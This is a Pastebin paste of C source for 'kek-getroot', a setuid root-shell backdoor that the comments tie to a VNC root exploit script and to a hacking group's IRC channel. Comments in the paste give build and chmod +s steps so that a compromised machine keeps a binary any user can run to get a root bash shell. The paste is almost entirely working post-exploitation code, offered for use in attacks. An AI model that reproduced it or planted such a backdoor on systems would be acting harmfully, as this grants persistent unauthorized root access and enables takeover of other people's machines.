Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- Modded for vnc-kek.sh vnc root exploit
- d__F @ keksec.com
- irc.anonops.com #blackhat
- Build with:
- gcc -Os -Wall getroot.c -o kek-getroot
- strip --strip-unneeded kek-getroot
- Then, as root:
- chown root:root kek-getroot (to switch the owner of the file, so that suid bit will work)
- chmod +s getroot (this set the suid bit)
- man sh -c for info on -c parameter.
- By the way, since we're using execvp, you can execute another
- program via the root shell like this:
- ./kek-getroot -c id
- If you want a static executable (to make a non dynamic executable, no
- .so dependencies), add a flag -static to the gcc command.
- */
- #include <unistd.h>
- #include <sys/types.h>
- #include <grp.h>
- #include <stdio.h>
- int main (int argc, char** argv) {
- gid_t newGrp = 0;
- if (setuid(0) != 0) {
- perror("SETUID failed! No SUID-bit set? :(");
- return 1;
- }
- setgid(0);
- seteuid(0);
- setegid(0);
- setgroups(1, &newGrp);
- execvp("/bin/bash", argv);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement